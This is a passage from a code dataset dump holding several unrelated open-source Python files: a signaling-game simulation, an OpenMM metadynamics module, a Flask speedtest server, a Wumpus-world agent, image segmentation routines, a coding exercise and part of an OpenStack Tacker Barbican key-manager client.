SignalMeaning(states=universe.referents, universe=universe)\n signals = [Signal(form=name, meaning=dummy_meaning) for name in signal_names]\n\n # Create a seed language to initialize agents.\n seed_language = SignalingLanguage(signals=signals)\n sender = Sender(seed_language, name=\"sender\")\n receiver = Receiver(seed_language, name=\"receiver\")\n\n # Construct a prior probability distribution over states\n prior_over_states = distribution_over_states(num_states, type=prior_type)\n\n ##########################################################################\n # Main simulation\n ##########################################################################\n\n signaling_game = SignalingGame(\n states=universe.referents,\n signals=signals,\n sender=sender,\n receiver=receiver,\n utility=lambda x, y: indicator(x, y),\n prior=prior_over_states,\n )\n signaling_game = simulate_learning(signaling_game, num_rounds, learning_rate)\n\n ##########################################################################\n # Analysis\n ##########################################################################\n\n accuracies = signaling_game.data[\"accuracy\"]\n complexities = signaling_game.data[\"complexity\"]\n languages = [\n agent.to_language(\n # optionally add analysis data\n data={\"accuracy\": accuracies[-1]},\n threshold=0.2,\n )\n for agent in [sender, receiver]\n ]\n\n util.save_weights(args.save_weights, sender, receiver)\n util.save_languages(args.save_languages, languages)\n\n vis.plot_distribution(args.save_distribution, prior_over_states)\n vis.plot_accuracy(args.save_accuracy_plot, accuracies)\n vis.plot_complexity(args.save_complexity_plot, complexities)\n vis.plot_tradeoff(args.save_tradeoff_plot, complexities, accuracies)\n\n print(\"Done.\")\n\n\nif __name__ == \"__main__\":\n args = util.get_args()\n\n main(args)\n","repo_name":"CLMBRs/altk","sub_path":"src/examples/signaling_game/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3144,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"8140134327","text":"import sys\n\nfrom classes.summary import SummaryItem, SummaryQueueItem\nfrom common.msg_utils import Msg\nfrom common.path_utils import PathUtils\nfrom common.sys_utils import SysUtils\n\n\n# MAIN FUNCTION of the module\n#\ndef test_summary(aParameters):\n forrest_log = aParameters.forrest_log\n msg_level = aParameters.msg_lev\n if msg_level is not None:\n Msg.set_level(Msg.translate_levelstr(msg_level))\n\n print(\"Forrest log file is: %s\" % forrest_log)\n\n work_dir, my_tmp = PathUtils.split_path(forrest_log)\n frun_path = PathUtils.append_path(\n PathUtils.include_trailing_path_delimiter(work_dir), \"_def_frun.py\"\n )\n\n # test - timeout\n summary_queue_args = {\n \"frun-path\": frun_path,\n \"process-log\": forrest_log,\n \"process-result\": (\n 0,\n None,\n \"Process Timeout Occurred\",\n 1555792446.313606,\n 1555792446.313606,\n SysUtils.PROCESS_TIMEOUT,\n ),\n }\n summary_queue_item = SummaryQueueItem(summary_queue_args)\n summary_item = SummaryItem({})\n summary_item.load(summary_queue_item)\n\n\nclass CommandLineParameters(object):\n usage = (\n \"\"\"\n Test summary module of master_run.\n\n Example:\n\n %s -f /path/to/regression/output/forrest.log\n \"\"\"\n % sys.argv[0]\n )\n\n # save and pass on remainder\n pass_remainder = True\n\n # do not allow abbrev parameters, only in Python >3.5\n # allow_abbrev = False\n\n parameters = [\n # \"short option\" \"number of additonal args\"\n # | \"long option\" | \"additional specifications\"\n # | | | |\n # | | | |\n [\n \"-f\",\n \"--forrest-log\",\n 1,\n {\"required\": True},\n \"path to the forrest log file\",\n ],\n [\"-m\", \"--msg-lev\", 1, {}, \"debug message level\"],\n # -h and --help is not needed, provided by default.\n ]\n\n\nif __name__ == \"__main__\":\n from common.cmdline_utils import CmdLineParser, AttributeContainer\n\n cmd_line_parser = CmdLineParser(CommandLineParameters, add_help=True)\n args = cmd_line_parser.parse_args(sys.argv[1:])\n test_summary_parms = AttributeContainer()\n cmd_line_parser.set_parameters(test_summary_parms)\n\n test_summary(test_summary_parms)\n","repo_name":"openhwgroup/force-riscv","sub_path":"utils/regression/tests/modules/test_summary.py","file_name":"test_summary.py","file_ext":"py","file_size_in_byte":2347,"program_lang":"python","lang":"en","doc_type":"code","stars":187,"dataset":"github-code","pt":"3"} +{"seq_id":"15172130501","text":"\"\"\"\n숫자의 합 구하기\nN개의 숫자가 공백 없이 써 있다. 이 숫자를 모두 합해 출력하는 프로그램을 작성하시오.\n\n입력 : 1번째 줄에 숫자의 개수 N(1 <= N <= 100), 2번째 줄에 숫자 N개가 공백 없이 주어진다.\n\n출력 : 입력으로 주어진 숫자 N개의 합을 출력한다.\n\n{\n 예제 입력 1\n 1 # 숫자의 개수\n 1 # 공백없이 주어진 N개의 숫자\n 예제 출력 1\n 1\n}\n{\n 예제 입력 2\n 5 # 숫자의 개수\n 12345 # 공백없이 주어진 N개의 숫자\n 예제 출력 2\n 15\n}\n{\n 예제 입력 3\n 25 # 숫자의 개수\n 7000000000000000000000000 # 공백없이 주어진 N개의 숫자\n 예제 출력 3\n 7\n}\n{\n 예제 입력 4\n 11 # 숫자의 개수\n 10987654321 # 공백없이 주어진 N개의 숫자\n 예제 출력 4\n 46\n}\n\n\"\"\"\nimport os\n\ndef suminput(n, list):\n sum = 0\n\n for n in list:\n sum += int(n)\n\n return sum\n\nif __name__ == '__main__':\n n = input()\n list = list(input())\n sum = suminput(n, list)\n print(sum)\n","repo_name":"yhj0901/codingTestWhitPython","sub_path":"suminput_001.py","file_name":"suminput_001.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"17255839548","text":"import simtk.openmm as mm\nimport simtk.unit as unit\nimport numpy as np\nfrom functools import reduce\n\n\nclass Metadynamics(object):\n \"\"\"Performs metadynamics.\n\n This class implements well-tempered metadynamics, as described in Barducci et al.,\n \"Well-Tempered Metadynamics: A Smoothly Converging and Tunable Free-Energy Method\"\n (https://doi.org/10.1103/PhysRevLett.100.020603). You specify from one to three\n collective variables whose sampling should be accelerated. A biasing force that\n depends on the collective variables is added to the simulation. Initially the bias\n is zero. As the simulation runs, Gaussian bumps are periodically added to the bias\n at the current location of the simulation. This pushes the simulation away from areas\n it has already explored, encouraging it to sample other regions. At the end of the\n simulation, the bias function can be used to calculate the system's free energy as a\n function of the collective variables.\n\n To use the class you create a Metadynamics object, passing to it the System you want\n to simulate and a list of BiasVariable objects defining the collective variables.\n It creates a biasing force and adds it to the System. You then run the simulation\n as usual, but call step() on the Metadynamics object instead of on the Simulation.\n \"\"\"\n\n def __init__(self, system, variables, temperature, deltaT, height, frequency):\n \"\"\"Create a Metadynamics object.\n\n Parameters\n ----------\n system: System\n the System to simulate. A CustomCVForce implementing the bias is created and\n added to the System.\n variables: list of BiasVariables\n the collective variables to sample\n temperature: temperature\n the temperature at which the simulation is being run. This is used in computing\n the free energy.\n deltaT: temperature\n the temperature offset used in scaling the height of the Gaussians added to the\n bias. The collective variables are sampled as if the effective temperature of\n the simulation were temperature+deltaT.\n height: energy\n the initial height of the Gaussians to add\n frequency: int\n the interval in time steps at which Gaussians should be added to the bias potential\n \"\"\"\n if not unit.is_quantity(temperature):\n temperature = temperature*unit.kelvin\n if not unit.is_quantity(deltaT):\n deltaT = deltaT*unit.kelvin\n if not unit.is_quantity(height):\n height = height*unit.kilojoules_per_mole\n self.variables = variables\n self.temperature = temperature\n self.deltaT = deltaT\n self.height = height\n self.frequency = frequency\n self._bias = np.zeros(tuple(v.gridWidth for v in variables))\n varNames = ['cv%d' % i for i in range(len(variables))]\n self._force = mm.CustomCVForce('table(%s)' % ', '.join(varNames))\n for name, var in zip(varNames, variables):\n self._force.addCollectiveVariable(name, var.force)\n widths = [v.gridWidth for v in variables]\n mins = [v.minValue for v in variables]\n maxs = [v.maxValue for v in variables]\n if len(variables) == 1:\n self._table = mm.Continuous1DFunction(self._bias.flatten(), mins[0], maxs[0])\n elif len(variables) == 2:\n self._table = mm.Continuous2DFunction(widths[0], widths[1], self._bias.flatten(), mins[0], maxs[0], mins[1], maxs[1])\n elif len(variables) == 3:\n self._table = mm.Continuous3DFunction(widths[0], widths[1], widths[2], self._bias.flatten(), mins[0], maxs[0], mins[1], maxs[1], mins[2], maxs[2])\n else:\n raise ValueError('Metadynamics requires 1, 2, or 3 collective variables')\n self._force.addTabulatedFunction('table', self._table)\n self._force.setForceGroup(15)\n system.addForce(self._force)\n\n def step(self, simulation, steps):\n \"\"\"Advance the simulation by integrating a specified number of time steps.\n\n Parameters\n ----------\n simulation: Simulation\n the Simulation to advance\n steps: int\n the number of time steps to integrate\n \"\"\"\n stepsToGo = steps\n while stepsToGo > 0:\n nextSteps = stepsToGo\n if simulation.currentStep % self.frequency == 0:\n nextSteps = min(nextSteps, self.frequency)\n else:\n nextSteps = min(nextSteps, simulation.currentStep % self.frequency)\n simulation.step(nextSteps)\n if simulation.currentStep % self.frequency == 0:\n position = self._force.getCollectiveVariableValues(simulation.context)\n energy = simulation.context.getState(getEnergy=True, groups={15}).getPotentialEnergy()\n height = self.height*np.exp(-energy/(unit.MOLAR_GAS_CONSTANT_R*self.deltaT))\n self._addGaussian(position, height, simulation.context)\n stepsToGo -= nextSteps\n\n def getFreeEnergy(self):\n \"\"\"Get the free energy of the system as a function of the collective variables.\n\n The result is returned as a N-dimensional NumPy array, where N is the number of collective\n variables. The values are in kJ/mole. The i'th position along an axis corresponds to\n minValue + i*(maxValue-minValue)/gridWidth.\n \"\"\"\n return -((self.temperature+self.deltaT)/self.deltaT)*self._bias\n\n def _addGaussian(self, position, height, context):\n \"\"\"Add a Gaussian to the bias function.\"\"\"\n # Compute a Gaussian along each axis.\n\n axisGaussians = []\n for i,v in enumerate(self.variables):\n x = (position[i]-v.minValue) / (v.maxValue-v.minValue)\n if v.periodic:\n x = x % 1.0\n dist = np.abs(np.arange(0, 1, 1.0/v.gridWidth) - x)\n if v.periodic:\n dist = np.min(np.array([dist, np.abs(dist-1)]), axis=0)\n axisGaussians.append(np.exp(-dist*dist*v.gridWidth/v.biasWidth))\n\n # Compute their outer product.\n\n if len(self.variables) == 1:\n gaussian = axisGaussians[0]\n else:\n gaussian = reduce(np.multiply.outer, reversed(axisGaussians))\n\n # Add it to the bias.\n\n height = height.value_in_unit(unit.kilojoules_per_mole)\n self._bias += height*gaussian\n widths = [v.gridWidth for v in self.variables]\n mins = [v.minValue for v in self.variables]\n maxs = [v.maxValue for v in self.variables]\n if len(self.variables) == 1:\n self._table.setFunctionParameters(self._bias.flatten(), mins[0], maxs[0])\n elif len(self.variables) == 2:\n self._table.setFunctionParameters(widths[0], widths[1], self._bias.flatten(), mins[0], maxs[0], mins[1], maxs[1])\n elif len(self.variables) == 3:\n self._table.setFunctionParameters(widths[0], widths[1], widths[2], self._bias.flatten(), mins[0], maxs[0], mins[1], maxs[1], mins[2], maxs[2])\n self._force.updateParametersInContext(context)\n\n\nclass BiasVariable(object):\n \"\"\"A collective variable that can be used to bias a simulation with metadynamics.\"\"\"\n\n def __init__(self, force, minValue, maxValue, biasWidth, periodic=False, gridWidth=None):\n \"\"\"Create a BiasVariable.\n\n Parameters\n ----------\n force: Force\n the Force object whose potential energy defines the collective variable\n minValue: float\n the minimum value the collective variable can take. If it should ever go below this,\n the bias force will be set to 0.\n maxValue: float\n the maximum value the collective variable can take. If it should ever go above this,\n the bias force will be set to 0.\n biasWidth: float\n the width (standard deviation) of the Gaussians added to the bias during metadynamics\n periodic: bool\n whether this is a periodic variable, such that minValue and maxValue are physical equivalent\n gridWidth: int\n the number of grid points to use when tabulating the bias function. If this is omitted,\n a reasonable value is chosen automatically.\n \"\"\"\n self.force = force\n self.minValue = minValue\n self.maxValue = maxValue\n self.biasWidth = biasWidth\n self.periodic = periodic\n if gridWidth is None:\n self.gridWidth = int(np.ceil(5*(maxValue-minValue)/biasWidth))\n else:\n self.gridWidth = gridWidth","repo_name":"DerienFe/RL_MFPT","sub_path":"1D_NaCl_TW/backup/metadynamics.py","file_name":"metadynamics.py","file_ext":"py","file_size_in_byte":8667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"28478019292","text":"from os import environ\nfrom flask import Flask\nimport json\nimport subprocess\nimport threading\nimport time\nimport speedtest\n\n# How long to pause between runs of the test (in seconds)\nSPEEDTEST_PAUSE_SEC = environ.get('SPEEDTEST_PAUSE_SEC')\nif SPEEDTEST_PAUSE_SEC is None:\n SPEEDTEST_PAUSE_SEC = (60 * 15)\n\n# REST API details\nREST_API_BIND_ADDRESS = '0.0.0.0'\nREST_API_BIND_PORT = 80\nwebapp = Flask('speedtest')\n\n# Global for the test results\nlast_test_results = None\n\n# Run one speedtest (seems to take about 25 seconds on RPi3B)\ndef run_speedtest():\n servers = []\n s = speedtest.Speedtest()\n s.get_servers(servers)\n s.get_best_server()\n s.download()\n s.upload()\n s.results.share()\n return s.results.dict()\n \n# Loop forever running the test\nclass SpeedTestThread(threading.Thread):\n def run(self):\n global last_test_results\n #print(\"\\nSpeedTest thread started!\")\n #t = 1\n while True:\n #print(\"\\n\\nRunning SpeedTest #\" + str(t) + \"...\\n\")\n #t += 1\n last_test_results = run_speedtest()\n #print(json.dumps(last_test_results))\n #print(\"\\nSleeping for \" + str(SPEEDTEST_PAUSE_SEC) + \" seconds...\\n\")\n time.sleep(SPEEDTEST_PAUSE_SEC)\n\n# A web server to make the speedtest results available on the LAN\n@webapp.route(\"/v1/speedtest\")\ndef get_speedtest():\n if None == last_test_results:\n return '{\"error\": \"Patience, please. No speed test data received yet.\"}\\n'\n else:\n return (json.dumps(last_test_results)) + '\\n'\n\n# Main program (instantiates and starts speedtest thread and then web server)\nif __name__ == '__main__':\n tester = SpeedTestThread()\n tester.start()\n webapp.run(host=REST_API_BIND_ADDRESS, port=REST_API_BIND_PORT)\n","repo_name":"Abhishek-Preman1/examples","sub_path":"edge/services/speedtest/speedtest_server.py","file_name":"speedtest_server.py","file_ext":"py","file_size_in_byte":1685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"31965574536","text":"#!-*- coding: utf8 -*-\nfrom manipula_tabuleiro import index_pos, get_sala, atirar, print_tt, print_array, adjacentes, get_tabuleiro\nfrom base import Base, prox_direcao, menor_pass\n\nmatriz_tabuleiro = get_tabuleiro()\n\ndef next_sala(loc, pos):\n if loc == 'D': return get_sala(pos[0], pos[1] + 1)\n if loc == 'E': return get_sala(pos[0], pos[1] - 1)\n if loc == 'C': return get_sala(pos[0] + 1, pos[1])\n if loc == 'B': return get_sala(pos[0] - 1, pos[1])\n\ndef list_op(l_ist):\n to_return = []\n for i in range(len(l_ist)):\n if len(list(filter(lambda x: x.index == l_ist[i].index, to_return))) == 0: \n to_return.append(l_ist[i])\n else: to_return.pop()\n return to_return\n\ndef is_adjacente(index, adj):\n to_return = -1\n result = list(filter(lambda x: x.index == index, adj))\n if(len(result)) > 0:\n to_return = result[0].index\n return to_return\n\nclass Agente:\n def __init__(self, atual):\n self.caminho = [atual]\n self.sala_atual = atual\n self.sala_antiga = atual\n self.posicao = 'D'\n self.ouro = False\n self.base = Base()\n self.tiro = True\n self.to_back = []\n self.goin_back = False\n\n def voltar(self):\n self.goin_back = True\n self.ouro = True\n\n while True:\n adj = adjacentes(self.base.tabuleiro, self.sala_atual.index) \n for i in range(len(self.caminho)):\n adjacente = is_adjacente(self.caminho[i].index, adj) \n if adjacente != -1:\n dire = prox_direcao(self.sala_atual.index, adjacente)\n break\n print('ACHOU OURO E ESTÁ VOLTANDO PARA [1,1]')\n self.mover('_;{}'.format(dire))\n print_tt(matriz_tabuleiro, self.sala_atual.index, self.base.seguros, self.base.seguros_n_visitados, self.base.todos_suspeitos_print(), self.caminho, 1, self.ouro)\n if(self.sala_atual.index == 12):\n break\n \n def mover(self, todo):\n [_, loc] = todo.split(';')\n pos = index_pos(self.sala_atual.index)\n self.sala_antiga = self.sala_atual\n if loc == 'D': self.sala_atual = get_sala(pos[0], pos[1] + 1)\n if loc == 'E': self.sala_atual = get_sala(pos[0], pos[1] - 1)\n if loc == 'C': self.sala_atual = get_sala(pos[0] + 1, pos[1])\n if loc == 'B': self.sala_atual = get_sala(pos[0] - 1, pos[1])\n if self.goin_back == False:\n self.to_back = list_op(self.caminho)\n self.caminho.append(self.sala_atual)\n return loc\n \n def analisa_sala(self):\n self.base.tell(self.sala_atual, self.sala_antiga)\n print_tt(matriz_tabuleiro, self.sala_atual.index, self.base.seguros, self.base.seguros_n_visitados, self.base.todos_suspeitos_print(), self.caminho, 0, self.ouro)\n \n def movimentar(self):\n if self.sala_atual.ouro == True: \n self.sala_atual.ouro = False\n self.ouro == True\n return 'OURO'\n if self.sala_atual.poco == True: return 'MORREU'\n if self.sala_atual.wumpus == True: return 'MORREU'\n\n next = self.base.ask(self.sala_atual.index)\n if next.startswith('ACTION'):\n [_, action,todo, loc] = next.split(';')\n if action == 'ROLLBACK':\n adj_indices = list(map(lambda x: x.index, adjacentes(self.base.tabuleiro, int(loc))))\n if(self.sala_atual.index not in adj_indices):\n while True:\n self.caminho.pop()\n antiga = self.sala_atual \n next_to_go = self.caminho.pop() \n dire = prox_direcao(self.sala_atual.index, next_to_go.index) \n self.mover('_;{}'.format(dire)) \n print('ESTA EM {} E VAI PARA A CASA {}'.format(index_pos(antiga.index), index_pos(self.sala_atual.index)))\n print_tt(matriz_tabuleiro, self.sala_atual.index, self.base.seguros, self.base.seguros_n_visitados, self.base.todos_suspeitos_print(), self.caminho, 1, self.ouro)\n if (self.sala_atual.index in adj_indices): break\n if todo == 'ATIRAR':\n action = 'ATIRAR'\n loc = prox_direcao(self.sala_atual.index, int(loc))\n if todo == 'POCO':\n next = 'MOVE;{}'.format(prox_direcao(self.sala_atual.index, int(loc)))\n\n if action == 'ATIRAR':\n if(self.tiro == True): \n self.tiro = False\n self.base.afirma('NUM_FLECHAS', 0)\n resultado = atirar(self.base.tabuleiro, self.sala_atual.index, loc)\n self.base.afirma('SEGURO', next_sala(loc, index_pos(self.sala_atual.index)).index)\n return 'AGENTE ESTA EM {} E ATIROU PARA A POSICAO {}, E TEVE RESULTADO: {}'.format(index_pos(self.sala_atual.index), loc,resultado)\n\n return 'STOP'\n\n if next.startswith('MOVE'):\n \n antiga = self.sala_atual\n loc = self.mover(next)\n if loc == 'X': return 'STOP'\n return 'ESTA EM {} E VAI PARA A CASA {}'.format(index_pos(antiga.index), index_pos(self.sala_atual.index))\n","repo_name":"igorsantana/ia-wumpus","sub_path":"agente.py","file_name":"agente.py","file_ext":"py","file_size_in_byte":4799,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32082616514","text":"'''\nreference:https://www.youtube.com/watch?v=ZF-3aORwEc0&list=PLuh62Q4Sv7BUf60vkjePfcOQc8sHxmnDX&index=13\n'''\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom skimage.segmentation import slic\nfrom skimage.util import img_as_float\nfrom skimage import color\n\n\n'''========basic region growing =================='''\ndef PixelWithThreshold(img_array, img_pixel, threshold, position):\n '''\n 根据某中心像素值,判断其相邻8个像素点是否具有相同颜色\n :param img_array: 图像的数组形式\n :param img_pixel: 中心像素值\n :param threshold: 阈值,大于该阈值则证明两者不相似\n :param position: 中心像素的坐标位置 [h, w]\n :return: 列表,在阈值范围内的像素坐标\n '''\n [H, W] = position\n\n # 找到center pixel的8个相邻点\n if len(img_array.shape) == 3:\n h, w, c = img_array.shape\n else:\n h, w = img_array.shape\n top, bottom = np.clip(H - 1, 0, h - 1), np.clip(H + 1, 0, h - 1)\n left, right = np.clip(W - 1, 0, w - 1), np.clip(W + 1, 0, w - 1)\n lefttop, ttop, righttop = [top, left], [top, W], [top, right]\n lleft, rright = [H, left], [H, right]\n leftbottom, bbottom, rightbottom = [bottom, left], [bottom, W], [bottom, right]\n neighbors = [lefttop, ttop, righttop, lleft, rright, leftbottom, bbottom, rightbottom]\n neighbors_list = list()\n\n # 判断8个相邻点中在阈值范围内的即需要的,不在阈值范围内的即要舍弃的\n for neigh in neighbors:\n # 如果是RGB三通道\n if len(img_array.shape) == 3:\n if abs(np.int32(img_array[neigh[0], neigh[1], 0]) - img_pixel[0]) < threshold and \\\n abs(np.int32(img_array[neigh[0], neigh[1], 1]) - img_pixel[1]) < threshold and \\\n abs(np.int32(img_array[neigh[0], neigh[1], 2]) - img_pixel[2]) < threshold:\n neighbors_list.append(neigh)\n else:\n pass\n # 如果是灰度图单通道\n else:\n a = abs(np.int32(img_array[neigh[0], neigh[1]])-img_pixel)\n if a < threshold:\n neighbors_list.append(neigh)\n else:\n pass\n return neighbors_list\n\n\ndef RegionWithThreshold(img_array, img_pixel, threshold, position):\n '''\n 根据阈值进行imagesegmentation,\n :param img_array: 图像的数组形式\n :param img_pixel: 中心点像素值\n :param threshold: 阈值范围,范围越大则选取的区域越大\n :param position: 中心点像素的位置\n :return: list(), 在阈值范围内,并且和中心点坐标相连的像素坐标 [h, w]\n '''\n last_list = list()\n now_list = [position]\n while last_list != now_list:\n old_list = list(now_list)\n extra_list = list()\n for point in now_list:\n if point not in last_list:\n neighbor_points = PixelWithThreshold(img_array, img_pixel, threshold, point)\n extra_list += neighbor_points\n\n new_list = now_list + extra_list\n for i in new_list:\n if not i in now_list:\n now_list.append(i)\n last_list = list(old_list)\n return now_list\n\n\ndef click(event):\n '''\n 鼠标点击事件,获取点击的坐标位置和相对应的像素值 进行相应的阈值选择处理\n :param event:\n '''\n (w, h) = event.xdata, event.ydata\n click_position = [int(h), int(w)]\n img_array = np.array(img)\n img_pixel = img_array[click_position[0], click_position[1]]\n points_list = RegionWithThreshold(img_array, img_pixel, threshold=20, position=click_position)\n for i in range(len(points_list)):\n if len(img_array.shape) == 3:\n img_array[points_list[i][0], points_list[i][1]] = [0, 0, 255]\n else:\n img_array[points_list[i][0], points_list[i][1]] = 0\n plt.figure()\n plt.subplot()\n plt.title('image segmentation')\n plt.imshow(img_array, cmap='gray')\n plt.show()\n\n\nimg = cv2.imread('./data/IMG14.jpg')\nimg = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\nfig = plt.figure(num='origin image')\ncid = fig.canvas.mpl_connect('button_press_event', click)\nplt.title('please pick a position from the image, a large range will take more time')\nplt.imshow(img, cmap='gray')\nplt.show()\n\n\n'''======k-means and super pixels============='''\ndef superpixels(img, k, iterator, theta):\n '''\n 超像素的生成,最开始的K个cluster是在图片中随机sample的,所以每次的效果可能不一样,仅限于RGB图像,越大的图像计算时间越长\n :param img: 图片数组 [H, W, C]\n :param k: 需要多少个超像素块\n :param iterator: k-means需要迭代duoshaoc\n :param theta: 控制颜色阈和空间阈的比例关系,越大则空间阈对最后的距离影响越大\n :return: 每个超像素块内取rgb均值的图像 [H, W, C]\n '''\n img = cv2.blur(img, (5, 5))\n res_img = np.array(img)\n\n # 生成k个中心点坐标\n H_img, W_img, _ = img.shape\n s_distance, c_distance = np.power(H_img, 2) + np.power(W_img, 2), 3 * 355 * 255\n h_num = int(np.sqrt(k))\n while k % h_num > 0:\n if H_img > W_img:\n h_num += 1\n else:\n h_num -= 1\n w_num = int(k / h_num)\n h_position = list(np.array(np.random.uniform(0, H_img, h_num), dtype=np.int32))\n w_position = list(np.array(np.random.uniform(0, W_img, w_num), dtype=np.int32))\n\n position = np.transpose(\n [np.repeat(h_position, len(w_position)), np.tile(w_position, len(h_position))]\n ) # position中的每一个坐标格式为[h, w]\n\n # 生成k个cluster\n cluster = np.zeros(shape=(len(position), 5))\n for i in range(len(position)):\n cluster[i] = np.array(np.append(img[position[i][0], position[i][1]], position[i]))\n\n flag_cluster_img = np.zeros(shape=(H_img, W_img))\n for iter in range(iterator):\n # 计算每个像素点和所有cluster的距离\n for h in range(H_img):\n for w in range(W_img):\n pixel_vector = np.array(np.append(img[h, w], [h, w]))\n pixel_Cdistance = np.subtract(pixel_vector[:3], cluster[:, :3])\n pixel_Cdistance = np.sum(np.power(pixel_Cdistance, 2), axis=1) / c_distance\n pixel_Sdistance = np.subtract(pixel_vector[3:], cluster[:, 3:])\n pixel_Sdistance = np.sum(np.power(pixel_Sdistance, 2), axis=1) / s_distance\n pixel_distance = np.sqrt(theta * pixel_Sdistance + pixel_Cdistance)\n near_cluster_ind = np.argmin(pixel_distance)\n flag_cluster_img[h, w] = near_cluster_ind\n\n for ind in range(k):\n pixs = np.argwhere(flag_cluster_img == ind)\n if pixs.shape[0] == 0:\n pass\n else:\n [h_mean, w_mean] = np.sum(pixs, axis=0) / pixs.shape[0]\n cluster[ind] = np.array(np.append(img[int(h_mean), int(w_mean)], [int(h_mean), int(w_mean)]))\n\n # 求super pixel的平均值,渲染图片\n for ind in range(k):\n pixs = np.argwhere(flag_cluster_img == ind)\n if pixs.shape[0] == 0:\n pass\n else:\n R, G, B = 0, 0, 0\n for i in range(pixs.shape[0]):\n [r, g, b] = img[pixs[i][0], pixs[i][1]]\n R += r\n G += g\n B += b\n R = int(R / pixs.shape[0])\n G = int(G / pixs.shape[0])\n B = int(B / pixs.shape[0])\n\n for j in range(pixs.shape[0]):\n res_img[pixs[j][0], pixs[j][1]] = [R, G, B]\n\n return res_img\n\n\nimg = cv2.imread('./data/IMG15.jpg')\nimg = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n\nfigure = plt.figure(num='k-means and super pixels', figsize=(10, 6))\nplt.subplot(1, 3, 1)\nplt.title('origin image')\nplt.imshow(img)\n\n# reference:https://scikit-image.org/docs/dev/api/skimage.segmentation.html#skimage.segmentation.slic\nimg2 = img_as_float(img)\nsegments = slic(img2, n_segments=50, start_label=1, max_iter=10, compactness=30.)\nout = color.label2rgb(segments, img2, kind='avg', bg_label=0)\nplt.subplot(1, 3, 2)\nplt.title('super pixel with skimage')\nplt.imshow(out)\n\nsuper_pixel_img = superpixels(img, k=20, iterator=10, theta=10)\nplt.subplot(1, 3, 3)\nplt.title('super pixel with myself')\nplt.imshow(super_pixel_img)\n\nplt.show()\n\n\n","repo_name":"YanYan0716/ImgProcess","sub_path":"12A-ImageSegmentation.py","file_name":"12A-ImageSegmentation.py","file_ext":"py","file_size_in_byte":8322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72360048083","text":"from barbicanclient import client as barbican_client\nfrom barbicanclient import exceptions as barbican_exception\nfrom keystoneauth1 import identity\nfrom keystoneauth1 import session\nfrom oslo_config import cfg\nfrom oslo_log import log as logging\n\nfrom tacker._i18n import _\nfrom tacker.common.exceptions import TackerException\nfrom tacker.keymgr import exception\nfrom tacker.keymgr import key_manager\n\n\nLOG = logging.getLogger(__name__)\n\n\nclass BarbicanKeyManager(key_manager.KeyManager):\n \"\"\"Key Manager Interface that wraps the Barbican client API.\"\"\"\n\n def __init__(self, auth_url):\n self._barbican_client = None\n self._base_url = None\n self._auth_url = auth_url\n\n def _get_barbican_client(self, context):\n \"\"\"Creates a client to connect to the Barbican service.\n\n :param context: the user context for authentication\n :return: a Barbican Client object\n :raises Forbidden: if the context is empty\n :raises KeyManagerError: if context is missing tenant or tenant is\n None or error occurs while creating client\n \"\"\"\n\n # Confirm context is provided, if not raise forbidden\n if not context:\n msg = _(\"User is not authorized to use key manager.\")\n LOG.error(msg)\n raise exception.Forbidden(msg)\n\n if self._barbican_client and self._current_context == context:\n return self._barbican_client\n\n if cfg.CONF.ext_oauth2_auth.use_ext_oauth2_auth:\n try:\n barbican_endpoint = cfg.CONF.key_manager.barbican_endpoint\n barbican_version = cfg.CONF.key_manager.barbican_version\n if not barbican_endpoint:\n msg = _('The value is required for option %s in group '\n '[key_manager]') % 'barbican_endpoint'\n raise TackerException(msg)\n sess = context.create_session()\n self._barbican_endpoint = barbican_endpoint\n if self._barbican_endpoint[-1] == '/':\n self._barbican_endpoint = self._barbican_endpoint[:-1]\n self._barbican_client = barbican_client.Client(\n session=sess,\n endpoint=self._barbican_endpoint)\n self._current_context = context\n self._base_url = '%s/%s/' % (\n self._barbican_endpoint,\n barbican_version)\n return self._barbican_client\n except Exception as e:\n LOG.error('Error creating Barbican client: %s', e)\n raise exception.KeyManagerError(reason=e)\n\n try:\n auth = self._get_keystone_auth(context)\n sess = session.Session(auth=auth)\n\n self._barbican_endpoint = self._get_barbican_endpoint(auth, sess)\n if self._barbican_endpoint[-1] != '/':\n self._barbican_endpoint += '/'\n self._barbican_client = barbican_client.Client(\n session=sess,\n endpoint=self._barbican_endpoint)\n self._current_context = context\n\n except Exception as e:\n LOG.error(\"Error creating Barbican client: %s\", e)\n raise exception.KeyManagerError(reason=e)\n\n self._base_url = self._create_base_url(auth,\n sess,\n self._barbican_endpoint)\n\n return self._barbican_client\n\n def _get_keystone_auth(self, context):\n\n if context.__class__.__name__ == 'KeystonePassword':\n return identity.Password(\n auth_url=self._auth_url,\n username=context.username,\n password=context.password,\n user_id=context.user_id,\n user_domain_id=context.user_domain_id,\n user_domain_name=context.user_domain_name,\n trust_id=context.trust_id,\n domain_id=context.domain_id,\n domain_name=context.domain_name,\n project_id=context.project_id,\n project_name=context.project_name,\n project_domain_id=context.project_domain_id,\n project_domain_name=context.project_domain_name,\n reauthenticate=context.reauthenticate)\n elif context.__class__.__name__ == 'KeystoneToken':\n return identity.Token(\n auth_url=self._auth_url,\n token=context.token,\n trust_id=context.trust_id,\n domain_id=context.domain_id,\n domain_name=context.domain_name,\n project_id=context.project_id,\n project_name=context.project_name,\n project_domain_id=context.project_domain_id,\n project_domain_name=context.project_domain_name,\n reauthenticate=context.reauthenticate)\n # this will be kept for oslo.context compatibility until\n # projects begin to use utils.credential_factory\n elif (context.__class__.__name__ == 'RequestContext' or\n context.__class__.__name__ == 'Context'):\n return identity.Token(\n auth_url=self._auth_url,\n token=context.auth_token,\n project_id=context.tenant)\n else:\n msg = _(\"context must be of type KeystonePassword, \"\n \"KeystoneToken, RequestContext, or Context, got type \"\n \"%s\") % context.__class__.__name__\n LOG.error(msg)\n raise exception.Forbidden(reason=msg)\n\n def 